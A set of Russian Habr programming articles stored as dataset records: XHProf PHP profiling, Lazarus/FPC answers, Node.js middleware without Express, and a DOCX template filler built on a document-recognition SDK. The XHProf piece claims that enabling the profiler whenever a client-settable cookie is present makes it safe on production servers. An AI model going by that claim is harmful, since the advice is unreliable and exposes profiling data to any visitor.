func2.push(func1[i]());
}
```
*прим.: понимаю, что информация по быстродействию не нова, но для полноты картины я думаю эти два примера стоило привести.*
Из всего этого можно сделать вывод о том, что несмотря на то, что применение *let* объявлений вместо *var*, в приложениях не требующих обратной совместимости с более ранними стандартами вполне оправданно, при этом стоит помнить об особенностях поведения в ситуациях с замыканиями в циклах *for* и, при необходимости продолжать использовать выражения немедленно вызываемых функций. | https://habr.com/ru/post/462971/ | null | ru | null |
# Профилирование PHP-кода
Профилирование PHP-кода
Рано или поздно каждый из нас сталкивается с унаследованным кодом и его оптимизацией. Дебаггер и профилировшик в такой ситуации — лучшие помощники программиста. У тех кто работает с PHP, благодаря Дерику Ретансу (Derick Rethans) есть хороший инструмент — xDebug. Информации касательно xDebug много даже в рунете, поэтому речь в этой статье пойдет не о нем.
Наткнувшись на упоминание о профилировщике для PHP я сразу подумал об xDebug ( о проприетарных инструментах от Zend я давно уже успел позабыть ), но на этот раз ошибся — речь пойдет об XHProf.
XHProf
Этот профилировшик был разработан специально для Facebook, а исходный код его был открыт в марте 2009 года.
Установка прошла достаточно быстро и гладко.
`wget pecl.php.net/get/xhprof-0.9.2.tgz
tar xvf xhprof-0.9.2.tgz
cd xhprof-0.9.2/extension/
phpize
./configure && make && make install
cd /usr/local/etc/php.d/
vim xhprof.ini
cd /usr/local/
vim header.php
vim footer.php
vim etc/php.ini
/etc/init.d/php-fpm restart
cp vhost.conf.template prof.my.conf
sed -i s/site/prof/ prof.my.conf
vim prof.my.conf
/etc/init.d/nginx restart`
Разберем упомянутые конфиги
xhprof.ini
`[xhprof]
extension=/usr/local/lib/php/extensions/no-debug-non-zts-20090626/xhprof.so
xhprof.output_dir="/home/max/www/profile/"`
в php.ini я добавил 2 строки, разовор о которых пойдет ниже
`auto_prepend_file = /usr/local/header.php
auto_append_file = /usr/local/footer.php`
prof.my.conf — конфиг нгинкса — самый стандартный.
`server {
listen 80;
server_name prof.my;
charset utf8;
root /usr/local/src/xhprof-0.9.2/xhprof_html ;
location / {
index index.php;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:12000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/local/src/xhprof-0.9.2/xhprof_html/$fastcgi_script_name;
include fastcgi_params;
}
}`
В /usr/local/src/xhprof-0.9.2/xhprof\_html лежат PHP-исходники, создающие неплохой WEBGUI к профайлеру.
Итак о двух главных файлах:
header.php
`php<br/
if(isset($_COOKIE['xhprof'])){
if (extension_loaded('xhprof')) {
include_once '/usr/local/src/xhprof-0.9.2/xhprof_lib/utils/xhprof_lib.php';
include_once '/usr/local/src/xhprof-0.9.2/xhprof_lib/utils/xhprof_runs.php';
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);
}
}`
footer.php
`php<br/
if(isset($_COOKIE['xhprof'])){
if (extension_loaded('xhprof')) {
$profiler_namespace = 'myapp'; // namespace for your application
$xhprof_data = xhprof_disable();
$xhprof_runs = new XHProfRuns_Default();
$run_id = $xhprof_runs->save_run($xhprof_data, $profiler_namespace);
// url to the XHProf UI libraries (change the host name and path)
$profiler_url = sprintf('http://prof.my/index.php?run=%s&source=%s', $run_id, $profiler_namespace);
echo <<
Profiler output
OUT;
}
}`
Теперь запускаем любой PHP-скрипт через веб и видим в левом верхнем углу ссылку на вывод профилировщика — именно для этого и был создан хост prof.my
Обратите внимание — я использую проверку на COOKIE! При такой проверке можно безопасно использовать профилировщик на production-сервере — на реальных данных и реальной загрузке.
Веб-интерфейс профилировщика выводит таблички с информацией о каждой функции и сообщает следующую информацию:
* Число вызовов каждой функции
* Wall-time, время затраченное на выполнение функций (включая ожидание ответов от сокетов, файловой системы и т.д.).
* CPU-time, время затраченное на выполнение функций (исключая ожидание ответов от сокетов, файловой системы и т.д.).
* Использование памяти
* Пиковое использование памяти
Есть возможность сортировки таблицы по любому из параметров
Информация по каждой функции делится еще на два вида Inclusive и Exclusive. Inclusive включает цифры использованные дочерними вызовами, а Exclusive не включает их. Так же есть возможность, кликнув на название функции увидеть информацию только по ней и функциям из которых она вызывалась и которые вызывались ей.
Если в системе установлен GraphViz, профилировщик нарисует вам граф вызовов.
P.S. Не нарушая традиций: это мой первый пост на хабре.
UPD: перепостил в PHP. | https://habr.com/ru/post/78210/ | null | ru | null |
# Переводчик Google и Волшебная Точка
В своё время очень мне полюбился сервис [translate.google.com](http://translate.google.com/) Как всегда, за простоту и функциональность. Частенько приходится что-то переводить туда-сюда и бывает очень интересно мнение стороннего «разума» на счет своего построения фраз. Ну и слова иногда попадаются непонятные, не говоря уже о языках, которым не обучен.
И вот, некоторое время назад мне открылся один интересный секрет!
Приведу сразу пример:
`Microsoft has a majority market share. => Microsoft имеет долю рынка большинство.`
`Microsoft has a majority market share => Microsoft не имеет большинства рынка`
Что мы видим? Точка в конце предложения радикально, буквально с ног на голову меняет смысл переведённого предложения. Опуская содержание конкретной фразы (это знаменитый заголовок бага №1 в Ubuntu) скажу, что это справедливо для большинства фраз, которые вы предложите переводчику. Волшебная Точка в конце, по результатам моих наблюдений, очень сильно влияет на смысл перевода и, похоже, для законченных фраз делает перевод точнее.
Так что не забывайте ставить точки в конце предложений, а лучше попробуйте все варианты. | https://habr.com/ru/post/102582/ | null | ru | null |
# Lazarus как он есть
Довольно часто наше нежелание разбираться в вопросе и уверенность в собственной логике рождает неверные предположения. Эти предположения, высказанные как утверждения на публичной площадке, могут прочно осесть в чужих головах и сформировать ложные отрицательные представления.
Так в комментариях к недавней теме «Lazarus 1.0 увидел свет!» были высказаны некоторые неверные утверждения, а также задан ряд вопросов оставшихся без ответов. Являясь разработчиком Lazarus и FPC уже довольно продолжительное время, я могу и хочу дать ответ на большинство связанных с этими продуктами вопросов и развеять некоторые неверные предположения.
**Утверждение**: Размер исполняемых файлов оставляет желать лучшего. Виноват компилятор, компоновщик и др.
Некоторую информацию по данной теме можно получить на [wiki-странице](http://wiki.freepascal.org/Size_Matters).
Итак, основная составляющая размера исполняемого файла — отладочная информация. Отладочную информацию добавляет компилятор FPC когда ему передан ключ "-g". FPC может генерировать 2 вида отладочной информации: устаревший stabs и современный dwarf (версии 2 или 3), что также определяется переданными компилятору ключами. Оба вида отладочной информации понимаются отладчиком gdb. В Lazarus включить/выключить отладочную информацию, а также определить ее вид можно на закладке «Компоновка» в параметрах проекта: 
Если вы собираете проект под Windows или Linux, можно сформировать внешний файл отладочных символов. В этом случае в исполняемый файл отладочная информация добавляться не будет, а вместо нее будет помещена ссылка на внешний отладочный файл.
Исключение отладочной информации уменьшает размер пустого проекта с формой с 20Мб до 1,6Мб на Windows. Но, 1,6Мб тоже больше чем 300Кб, который выдавал Delphi 7 (Delphi XE, к примеру, уже выдает значительно больше из-за распухания RTTI). Дело тут не в компиляторе и не в компоновщике, которые делают свою работу верно, а все дело в LCL.
LCL — Lazarus Component Library архитектурно состоит их двух частей: фронтэнда — платформонезависимой библиотеки классов для разработчиков приложений (TForm, TButton, TLabel, ...) и бэкэнда — части отвечающей за реализацию этих компонент под конкретную платформу (win32, qt, gtk2, ...). При начальной реализации бэкэндов никто особо не задумывался о размере исполняемых файлов и писал общие методы, в которых обращался ко всем классам фронтэнда.
Например, следующий код из модуля lcl\interfaces\win32\win32proc.pp тянет в исполняемый файл классы TCustomGroupBox, TCustomTabControl, даже если вы их нигде не используете:
`if (TheWinControl is TCustomGroupBox) then
begin
...
end else
if TheWinControl is TCustomTabControl then
begin
...
end;`
Решить эту проблему может рефакторинг, но он требует значительных усилий и времени, которые в условиях нехватки рук возможно лучше потратить на решение других проблем. Надо сказать, что определенные усилия в этом направлении были приложены 2 или 3 года назад, что позволило сократить размер пустого проекта с формой на 300Кб.
**Утверждение**: Lazarus ставил однажды в Windows, и запомнилось, что даже простейшая программа с окном и кнопкой компилируется ооочень долго.
Проблема была, когда FPC использовал GNU компоновщик для Windows. Но, в FPC 2.2 (а сейчас Lazarus использует FPC 2.6) проблема была устранена разработкой встроенного компоновщика для Windows. Кроме того, на тот момент компоновщик GNU не умел собирать под платформу Win64, что тоже послужило толчком к разработке собственного встроенного компоновщика. Надо заметить, что под Linux и Darwin таких проблем со скоростью сборки не было и нет (и как следствие до сих пор нет и собственного компоновщика под эти платформы).
Сейчас сборка и запуск пустого проекта с формой на моей машине занимает не более 2х секунд.
**Вопрос**: Здорово, если в Lazarus появится нормальный докинг, как в Delphi 2006, к примеру. Сильно повысит удобство интерфейса. Хотя, может быть, он там уже есть?
Докинг можно включить сборкой дополнительного пакета, но это делать не рекомендуется, так как пока присутствует ряд нерешенных проблем. К версии 1.2 докинг будет готов и скорее всего сразу встроен в среду.
**Утверждение**: «Mac OS X: 10.4, LCL только 32bit, не-LCL могут быть 64bit». Да уж, впечатляет.
Во-первых, имеется в виду, что Lazarus собирает проекты под Mac OS X не ниже версии 10.4. То есть поддерживаются и 10.5 и 10.6 и 10.7 и 10.8 (на которой у меня сейчас запущен Lazarus). LCL проекты могут быть только 32бит.
Это связано с тем, что на Max OS X существуют 2 основные системные библиотеки: carbon и cocoa. Carbon появилась первой и представляла собой библиотеку функций. Не было никаких проблем начать строить на ее основе LCL бэкэнд, что и было сделано. После Apple представил еще одну библиотеку cocoa, которая вместо функций содержит классы Objective-C. Позже Apple объявил, что не будет делать библиотеку carbon 64 разрядной, и вообще новые приложения надо разрабатывать только под cocoa.
Для взаимодействия с Objective-C классами в FPC был добавлен диалект, получивший название [Objective-Pascal](http://wiki.freepascal.org/FPC_PasCocoa). В Lazarus был также добавлен бэкэнд для cocoa, но он в настоящее время находится в стадии ранней разработки. Возможно (я приложу к этому усилия), к версии 1.2 он будет на уровне бэкэнда под gtk2 и qt. | https://habr.com/ru/post/151008/ | null | ru | null |
# Хочу middleware, но не хочу ExpressJS
Middleware в случае с HTTP-сервером в Node.JS — это промежуточный код, который выполняется до того, как начнёт выполняться ваш основной код. Это, чаще всего, нужно для того, чтобы сделать какой-то дополнительный тюнинг или проверку входящего запроса. Например, чтобы превратить данные из POST-запроса в формате JSON-строки в обычный объект, или получить доступ к кукам в виде объекта, и т.п.
Стандартный модуль http из Node.JS не поддерживает такие вещи. Самый очевидный путь: установить ExpressJS и не париться. Но, на мой взгляд, если есть возможность самому написать немного кода и не добавлять ещё 50 пакетов-зависимостей в проект, архитектура станет проще, скорость работы будет выше, будет меньше точек отказа, и ещё не будет нужно постоянно пастись на гитхабе и уговаривать разработчиков обновить версии зависимостей в package.json (или просто принять пулл-реквест, где другой человек за него это сделал), чтобы код был постоянно свежим и актуальным. Я пару раз так делал, и мне не очень нравится тратить время на такие вещи. Очень часто, если ты самостоятельно воспроизводишь какую-то технологию, времени на поддержку тратится меньше, чем если ты устанавливаешь сторонний модуль с такой технологией — как раз из-за таких моментов, когда ты тратишь время на то, чтобы напоминать другим разработчикам, что нужно следить за обновлениями зависимостей и реагировать на них своевременно.
Суть middleware довольно-таки проста: это функция, которая принимает три параметра: request, response и next:
* request — инстанс [http.IncomingMessage](https://nodejs.org/api/http.html#http_class_http_incomingmessage) для текущего запроса
* response — инстанс [http.ServerResponse](https://nodejs.org/api/http.html#http_class_http_serverresponse) для текущего запроса
* next — функция.
Middleware делает все нужные телодвижения с request и response, после чего вызывает функцию next — это сигнал, что оно закончило работу и можно работать дальше (например, запустить в обработку следующее middleware, или просто перейти к основному коду). Если next вызывается без параметров, то всё нормально. Если в вызов передать ошибку, то обработка списка middleware останавливается.
Пример простейшего middleware:
```
function myMiddleware(request, response, next) {
if (typeof next !== 'function') {
next = () => {};
}
console.log('Incoming request');
next();
}
```
Если честно, я даже не смотрел, как это реализовано в ExpressJS, но, навскидку, я понимаю этот процесс так: когда вызывается server.use(myMiddleware), моя функция myMiddleware добавляется в какой-то массив, а при каждом входящем запросе вызываются все функции из этого массиа в порядке очерёдности их добавления, после чего начинает работать остальной код. Очевидно, раз используется функция next, то подразумевается асинхронность кода: middleware-функции не просто выполняются одна за другой — перед тем как выполнить следующую функцию из списка, нужно дождаться окончания работы предыдущей.
Получается, вначале мне нужно создать функцию server.use, которая будет регистрировать все middleware.
**MyHttpServer.js:**
```
const http = require('http');
const middlewares = [];
/**
* Основной обработчик HTTP-запросов
*
* Пока что тут только заглушка
*
* @param {IncomingMessage} request
* @param {ServerResponse} response
* @return {Promise}
\*/
async function requestListener(request, response) {
throw new Error('Not implemented');
}
/\*
\* Функция-регистратор middleware-кода
\*/
function registerMiddleware(callback) {
if (typeof callback !== 'function') {
return;
}
middlewares.push(callback);
}
// Создаётся сервер и регистрируется осноной обработчик
const server = http.createServer(requestListener);
// К серверу добавляется регистратор middleware-функций
server.use = registerMiddleware;
```
Осталась самая малость: нужно каким-то образом выполнять все эти middleware в асинхронном режиме. Лично я, если мне нужно обойти массив в асинхронном режиме, пользуюсь функцией [Array.prototype.reduce()](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce). Она, в определённых условиях, может делать как раз то, что мне нужно. Самое время доработать функцию requestListener.
```
/*
* Это просто служебная функция — вставлена здесь для примера
* и сама по себе обычно находится в другом модуле
*/
function isError(error) {
switch (Object.prototype.toString.call(error)) {
case '[object Error]':
return true;
case '[object Object]':
return (
error.message
&& typeof error.message === 'string'
&& error.stack
&& typeof error.stack === 'string'
);
}
return false;
}
/**
* Основной обработчик HTTP-запросов
*
* @param {IncomingMessage} request
* @param {ServerResponse} response
* @return {Promise}
\*/
async function requestListener(request, response) {
response.isFinished = false;
response.on('finish', () => response.isFinished = true);
response.on('close', () => response.isFinished = true);
let result;
try {
result = await middlewares.reduce(
// Редусер. Первый параметр — предыдущее значение,
// второй — текущее. Чтобы обеспечить асинхронность,
// всё оборачивается в Promise.
(/\*\*Promise\*/promise, middleware) => promise.then(result => {
// Если в предыдущем middleware был вызов
// next(new Error('Some message')), текущий middleware
// игнорируется и сразу возвращается ошибка
// из предыдущего кода
if (isError(result)) {
return Promise.reject(result);
}
// Возвращается новый Promise, который, кроме прочего,
// реагирует на какую-то ошибку в рамках не только
// вызова next, но и в рамках всего кода.
// То есть, если middleware вызывает внутри JSON.parse
// без try-catch, то, в случае ошибки парсинга, реакция
// будет такая же, как и при вызове next с передачей
// ошибки в качестве параметра
return new Promise((next, reject) => {
Promise.resolve(middleware(request, response, next)).catch(reject);
});
}),
Promise.resolve()
);
if (isError(result)) {
throw result;
}
} catch (error) {
response.statusCode = 500;
result = 'Error';
}
if (response.isFinished) {
return;
}
response.end(result);
}
```
Теперь я могу без установки ExpressJS использовать любые middleware, которые были написаны для него. И вообще, используя этот механизм, я могу представить мой основной обработчик запросов в виде обычной middleware-функции.
```
const cookieParser = require('cookie-parser');
server.use(cookieParser());
// Мой основной код
server.use((request, response, next) => {
if (request.cookies['SSID']) {
response.end('Your session id is ' + request.cookies['SSID']);
} else {
response.end('No session detected');
}
next();
});
```
Под спойлером — простейший пример стандартного HTTP-сервера Node.JS с поддержкой экспрессовких middleware для тех, кто предпочитает copy/paste.
**MyHttpServer.js**
```
const http = require('http');
const middlewares = [];
function isError(error) {
switch (Object.prototype.toString.call(error)) {
case '[object Error]':
return true;
case '[object Object]':
return (
error.message
&& typeof error.message === 'string'
&& error.stack
&& typeof error.stack === 'string'
);
}
return false;
}
/**
* Основной обработчик HTTP-запросов
*
* @param {IncomingMessage} request
* @param {ServerResponse} response
* @return {Promise}
\*/
async function requestListener(request, response) {
response.isFinished = false;
response.on('finish', () => response.isFinished = true);
response.on('close', () => response.isFinished = true);
let result;
try {
result = await middlewares.reduce(
(/\*\*Promise\*/promise, middleware) => promise.then(result => {
if (isError(result)) {
return Promise.reject(result);
}
return new Promise((next, reject) => {
Promise.resolve(middleware(request, response, next)).catch(reject);
});
}),
Promise.resolve()
);
if (isError(result)) {
throw result;
}
} catch (e) {
response.statusCode = 500;
result = 'Error';
}
if (response.isFinished) {
return;
}
response.end(result);
}
/\*
\* Функция-регистратор middleware-кода
\*/
function registerMiddleware(callback) {
if (typeof callback !== 'function') {
return;
}
middlewares.push(callback);
}
const server = http.createServer(requestListener);
server.use = registerMiddleware;
const cookieParser = require('cookie-parser');
server.use(cookieParser());
server.use((request, response) => {
if (request.cookies['SSID']) {
return 'Your session id is ' + request.cookies['SSID'];
}
return 'No session detected';
});
server.listen(12345, 'localhost', () => {
console.log('Started http');
});
```
Нашли ошибку в тексте? **Выделите** текст, содержащий ошибку, и нажмите Alt-F4 (если у вас мак, то ⌘-Q). Шутка, конечно же. Если нашли ошибку, пишите в личные сообщения или в комментарии — постараюсь исправить. | https://habr.com/ru/post/531982/ | null | ru | null |
# Простой шаблонизатор DOCX-документов с помощью Smart Document Engine
Мы в [Smart Engines](https://smartengines.ru/) занимаемся системами распознавания документов, и мы решили проверить, сколько нужно времени, чтобы создать MVP инструмента, позволяющего предзаполнять типовые шаблоны в формате DOCX данными, извлекаемые из сканов и фотографий документов. В этой статье мы вам покажем как на базе нашей системы распознавания Smart Document Engine быстро сделать простой шаблонизатор, готовый к использованию и не требующий никакой предварительной подготовки пользователя. Кому интересно - добро пожаловать под кат!
---
Как же часто такое банальное действие, как заполнение какого-то договора, акта, или другого бизнес-документа, может доставлять море проблем и неудобств. Еще куда ни шло, если нужно заполнить ФИО из только что отсканированного паспорта в какой-нибудь банковский договор, и другое дело, если вам нужно заполнить несколько десятков однотипных документов, с источниками информации в других документах, и все это нужно сделать быстро, без ошибок, и в присутствии нетерпеливого клиента.
Конечно, все эти операции можно и нужно автоматизировать. На помощь могут прийти, например, [RPA-системы](https://habr.com/ru/company/smartengines/blog/506012), с помощью которых пользователь должен лишь выполнить правильную последовательность действий по загрузке-выгрузке данных. Но для того, чтобы в компании RPA была внедрена, как правило, нужно выполнить целый большой проект, собрать нужное количество компонент, настроить их, научить пользователей пользоваться, и так далее и тому подобное. Что если пользователю нужно всего лишь сканировать набор типовых документов и заполнять банальные Word-овые документы с правильными реквизитами?
Мы покажем, как просто собрать минимальный, но функциональный шаблонизатор, используя Smart Document Engine и `python` с несколькими общедоступными пакетами. Манипуляции все будут демонстрироваться на примере SDK для MacOS, однако все то же самое заработает также и для Windows и для систем на базе Linux.
Распознавание документов с помощью Smart Document Engine
--------------------------------------------------------
В основе шаблонизатора лежит, само собой, распознавание документов с помощью Smart Document Engine. Библиотека обладает рядом интерфейсов интеграции (основной интерфейс C++ и набор оберток), но, для максимальной простоты, функцию распознавания мы реализуем в виде CLI-приложения, используя в качестве основы С++-пример, который находится прямо в SDK-пакете.
Чтобы скомпилировать поставляемый консольный пример docengine\_sample, нужно вставить в код подпись клиента, которая берется из документации SDK-пакета:
```
// Creating a session object - a main handle for performing recognition.
std::unique_ptr session(
engine->SpawnSession(\*session\_settings, “ABCDEFG….”));
```
После этого его можно собирать (например, лежащим рядом скриптом `build_cpp.sh`).
Консольный пример `docengine_sample` принимает три параметра: путь к изображению документа, путь к конфигурационному архиву и маску типов документа. Проверяем распознавание в стандартном режиме, к примеру, платежного поручения:
```
$ DYLD_LIBRARY_PATH=../../bin ./docengine_sample ../../testdata/rus.payment_order_sample.png ../../data-zip/bundle_docengine_photo.se "rus.payment_order*"
Smart Document Engine version 1.11.0
image_path = ../../testdata/rus.payment_order_sample.png
config_path = ../../data-zip/bundle_docengine_photo.se
document_types = rus.payment_order*
(... Скрыто много дополнительной информации …)
Text fields (35 in total):
amount : 20 003 000-00
amount_words : ДВАДЦАТЬ МИЛЛИОНОВ ТРИ ТЫСЯЧИ РУБЛЕЙ 00 КОПЕЕК
beneficiary : ООО "МЕЧТА"
beneficiary_account : 11223344556677889900
beneficiary_bank : МЕЖДУНАРОДНЫЙ ЗАПАДНЫЙ БАНК
beneficiary_bank_invoice : 33344455566677788899
bik_beneficiary : 987654321
bik_payer : 012345678
(... и так далее …)
```
Для целей создания шаблонизатора слегка модифицируем код приложения:
1. В конфигурационном бандле `bundle_docengine_photo.se` по умолчанию используется режим, оптимизированный для распознавания фотографий (в нашем демо-приложении этот режим используется при распознавания документов с фотографий, полученных непосредственно на устройстве). Выставим сессиям распознавания режим `“universal”`, который более подходит в случае, когда заранее неизвестно, скан будет распознаваться или фотография (в демо-приложении этот режим используется при распознавании из галереи):
```
session_settings->SetCurrentMode("universal"); // переходим в режим universal
// For starting the session we need to set up the mask of document types
// which will be recognized.
session_settings->AddEnabledDocumentTypes(document_types.c_str());
```
2. Уберем весь отладочный/информационный вывод и упростим функцию `OutputRecognitionResult` так, чтобы она выписывала тип и текстовые поля распознаванного документа в JSON-формате:
```
void OutputRecognitionResult(
const se::doc::DocResult& recog_result) {
if (recog_result.GetDocumentsCount() == 0) {
printf("{}\n");
} else {
const se::doc::Document& doc = recog_result.DocumentsBegin().GetDocument();
printf("{\"DOCTYPE\": \"%s\"", doc.GetAttribute("type"));
for (auto f_it = doc.TextFieldsBegin();
f_it != doc.TextFieldsEnd();
++f_it) {
std::string escaped_value = std::regex_replace(
f_it.GetField().GetOcrString().GetFirstString().GetCStr(),
std::regex("\""), "\\\"");
printf(",\"%s\": \"%s\"",
f_it.GetKey(),
escaped_value.c_str());
}
printf("}\n");
}
}
```
3. Переименуем получившийся исходник в `docengine_cli.cpp` и перенесем его в директорию рядом с динамической библиотекой `libdocengine.dylib` (в моем случае - в директорию `/bin` SDK-пакета), после чего скомпилируем с rpath-привязкой так, чтобы он искал библиотеку рядом в исполняемым файлом:
```
$ clang++ docengine_cli.cpp -O2 -I ../include -L. -l docengine -o docengine_cli -Wl,-rpath,"@executable_path"
```
Проверяем (в вывод программы добавлены переводы строк для читабельности):
```
$ ./docengine_cli ../testdata/rus.payment_order_sample.png ../data-zip/bundle_docengine_photo.se "rus.payment_order*"
{"DOCTYPE": "rus.payment_order.type1","amount": "20 003 000-00",
"amount_words": "ДВАДЦАТЬ МИЛЛИОНОВ ТРИ ТЫСЯЧИ РУБЛЕЙ 00 КОПЕЕК",
"beneficiary": "ООО \"МЕЧТА\"","beneficiary_account": "11223344556677889900",
"beneficiary_bank": "МЕЖДУНАРОДНЫЙ ЗАПАДНЫЙ БАНК",
"beneficiary_bank_invoice": "33344455566677788899",
"bik_beneficiary": "987654321","bik_payer": "012345678",
"budget_classification_code": "","code1": "0401060","code_payment": "",
"date": "05.11.2020","date_document_payment_basis": "",
"debiting_date": "05.11.2020","inn_beneficiary": "1111111111",
"inn_payer": "1234567890","invoice_number": "98765432109876543210",
"kpp_beneficiary": "222222222","kpp_payer": "125125125",
"number_document_basis_payment": "","number_payment_order": "345",
"oktmo_code": "","payer": "ИП \"ДОБРОЕ УТРО\"",
"payer_bank": "ПУШКИНСКОЕ ОТДЕЛЕНИЕ БАНК \"ЗДОРОВЬЕ\"",
"payer_bank_invoice": "12345678901234567890","payment_code": "0",
"payment_reason_code": "","payment_type": "","place_payment": "8",
"purpose_payment": "ОПЛАТА ПО ДОГОВОРУ №23456 ЗА ВЫПОЛНЕНИЕ СТРОИТЕЛЬНЫХ И ФУНКЦИОНАЛЬНЫХ РАБОТ ПО ИССЛЕДОВАНИЮ ОРГАНИЗМА. НДС НЕ ОБЛАГАЕТСЯ",
"purpose_payment_1": "","receipt_date": "05.11.2020","tax_period": "",
"type_payment": "","wage_type": "01"}
```
То, что надо! Теперь переходим к шаблонизатору.
Шаблонизатор
------------
Что хотим? Хотим простое GUI-приложение, которое бы умело загружать шаблонные документы в формате DOCX, в стратегических местах которых проставлены теги вида `${very_important_info}`, загружать изображения нужных документов, и сохранять документ с заполненными данными.
В первую очередь заведем конфигурационный файл, в котором будет указано, какое CLI-приложение нужно запускать, с каким конфигурационным бандлом, с какими масками типов документов для интересующих нас типов (пусть нас интересует Российские платежное поручение и справка о доходах физлица, и, скажем, социальная карта Армении), и как поля с разных документов должны транслироваться в теги шаблона.
Пусть из платежного поручения мы хотим извлекать название плательщика и его банка, реквизиты получателя, сумму прописью и назначение платежа. Из 2-НДФЛ извлекаем ФИО, дату рождения (справка о доходах физического лица, формально говоря, уже не называется 2-НДФЛ, но изжить такой прижившийся термин, думаю, будет непросто), и, наконец, из справки о социальном номере Армении извлекаем ФИО на армянском и, собственно, номер. Для целей демонстрации возможностей шаблонизатора вполне хватит. Конфигурационный файл (`config.json`) получился такой:
```
{
"executable": "docengine_cli",
"bundle": "bundle_docengine_photo.se",
"sessions": {
"rus_payment_order": {
"documents_mask": "rus.payment_order*",
"text": "payment order"
},
"arm_social_card": {
"documents_mask": "arm.ref_public*",
"text": "social card"
},
"rus_2ndfl": {
"documents_mask": "rus.2ndfl*",
"text": "income form"
}
},
"tags": {
"rus_payment_order:payer": "payer_name",
"rus_payment_order:payer_bank": "payer_bank_name",
"rus_payment_order:beneficiary": "beneficiary_name",
"rus_payment_order:beneficiary_account": "beneficiary_account",
"rus_payment_order:beneficiary_bank": "beneficiary_bank_name",
"rus_payment_order:bik_beneficiary": "beneficiary_bik",
"rus_payment_order:kpp_beneficiary": "beneficiary_kpp",
"rus_payment_order:amount_words": "payment_amount",
"rus_payment_order:purpose_payment": "payment_purpose",
"rus_2ndfl:surname": "surname",
"rus_2ndfl:name": "name",
"rus_2ndfl:patronymic": "patronymic",
"rus_2ndfl:birth_date": "birth_date",
"arm_social_card:name_patronymic_surname": "arm_fio",
"arm_social_card:public_service_number": "arm_number"
}
}
```
Конфигурационный файл поместим в директорию `resources`, вместе со всем необходимым для запуска распознавания: конфигурационным бандлом `bundle_docengine_photo.se`, исполняемым файлом `docengine_cli` и библиотекой `libdocengine.dylib`.
В качестве самого шаблонизатора напишем простенькое GUI-приложение на [wxPython](https://wxpython.org/). Не имеет смысла углубляться в детали, ограничусь лишь тем, что у меня ушло на все про все около двух часов (без опыта работы с `wx`) и 292 строчки кода. Разберем лишь процедуры распознавания изображения и заполнения шаблона.
В GUI-приложении распознавание изображения инициируется нажатием на кнопку, которая соответствует той или иной сессии распознавания, прописанной в `config.json`. Предлагаем пользователю выбрать файл с изображением документа, после чего запускаем `docengine_cli` при помощи модуля `subprocess` и парсим JSON, который получаем на выходе. После этого, согласно прописанным тегам в `config.json` обновляем словарь со значениями тегов:
```
def loadImage(self, event):
'''
Загружает изображение, распознает документ, обновляет словарь тегов
'''
button_name = event.GetEventObject().GetName() # соответствует ключу в словаре “sessions” конфигурационного файла config.json
self.tlog.AppendText('Loading image of %s...\n' % self.config['sessions'][button_name]['text'])
with wx.FileDialog(self, 'Open %s image file' % self.config['sessions'][button_name]['text'], \
wildcard="PNG, JPG or TIF image (*.png;*.jpg;*.jpeg;*.tif;*.tiff)|*.png;*.jpg;*.jpeg;*.tif;*.tiff", \
style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST) as fileDialog:
if fileDialog.ShowModal() == wx.ID_CANCEL:
return
pathname = fileDialog.GetPath()
try:
self.tlog.AppendText('Recognizing %s...\n' % pathname)
# запускаем docengine_cli
output = subprocess.run([
os.path.join(self.resources_path, self.config['executable']), # путь к исполняемому файлу docengine_cli
pathname, # путь к изображению
os.path.join(self.resources_path, self.config['bundle']), # путь к конфигурационному бандлу Smart Document Engine
Self.config['sessions'][button_name]['documents_mask'] # маска типа документа
], capture_output = True)
# парсим вывод docengine_cli
output_json = None
try:
output_json = json.loads(output.stdout)
except Exception:
pass
if output_json is None:
self.tlog.AppendText('Failed to retrieve any data.\n')
else:
# обновляем словарь тегов
any_fields_extracted = False
for tag in self.config['tags'].keys():
if tag.split(':')[0] != button_name:
continue
prop_name = tag.split(':')[-1]
if prop_name not in output_json.keys():
continue
prop_value = output_json[prop_name]
self.keyval[self.config['tags'][tag]] = prop_value
self.tlog.AppendText('Extracted %s: %s\n' % (self.config['tags'][tag], prop_value))
any_fields_extracted = True
if not any_fields_extracted:
self.tlog.AppendText('No fields extracted.\n')
except Exception as e:
self.tlog.AppendText('Cannot process file %s: %s\n' % (pathname, str(e)))
```
Заполнение шаблона инициируется нажатием на другую кнопку, при котором подгруженный заранее DOCX-шаблон загружается при помощи пакета [python-docx](https://python-docx.readthedocs.io/en/latest/#), после чего просматриваются все параграфы документа и все параграфы каждой ячейки каждой таблицы, с заменой найденных тегов на значения, извлеченные из распознанных документов. Скорее всего заполнение шаблона можно было сделать проще, но я уже в пижаме:
```
def applyTagsToParagraph(self, paragraph):
'''
Применяет словарь тегов self.keyval к одному параграфу DOCX-документа, сохраняя формат куска, содержащего символ “$”.
'''
for i in range(len(paragraph.runs)):
while '$' in paragraph.runs[i].text:
end_index = -1
found_key = None
composite_text = ''
for j in range(i, len(paragraph.runs)):
composite_text += paragraph.runs[j].text
for key in self.keyval.keys():
if '${%s}' % key in composite_text:
found_key = key
end_index = j
break
if found_key is not None:
break
if found_key is not None:
paragraph.runs[i].text = composite_text.replace('${%s}' % found_key, self.keyval[found_key])
for k in range(i + 1, end_index + 1):
paragraph.runs[k].clear()
else:
break
def saveDocument(self, event):
'''
Загружает шаблон документа из self.template_path, применяет словарь тегов self.keyval к документу и предлагает пользователю сохранить получившийся документ.
'''
if len(self.keyval) == 0:
self.tlog.AppendText('Nothing to apply.\n')
return
self.tlog.AppendText('Applying values to template file %s:\n' % self.template_path)
for k, v in self.keyval.items():
self.tlog.AppendText(' %s: %s\n' % (k, v))
document = docx.Document(self.template_path)
# применяем к параграфам документа
for paragraph in document.paragraphs:
self.applyTagsToParagraph(paragraph)
# применяем к таблицам документа
for table in document.tables:
for row in table.rows:
for cell in row.cells:
for paragraph in cell.paragraphs:
self.applyTagsToParagraph(paragraph)
with wx.FileDialog(self, "Save DOCX file", wildcard="DOCX files (*.docx)|*.docx", \
style=wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT) as fileDialog:
if fileDialog.ShowModal() == wx.ID_CANCEL:
return
pathname = fileDialog.GetPath()
# на всякий случай добавляем расширение docx и безопасно сохраняем файл
if not pathname.lower().endswith('.docx'):
new_pathname = pathname + '.docx'
while os.path.exists(new_pathname):
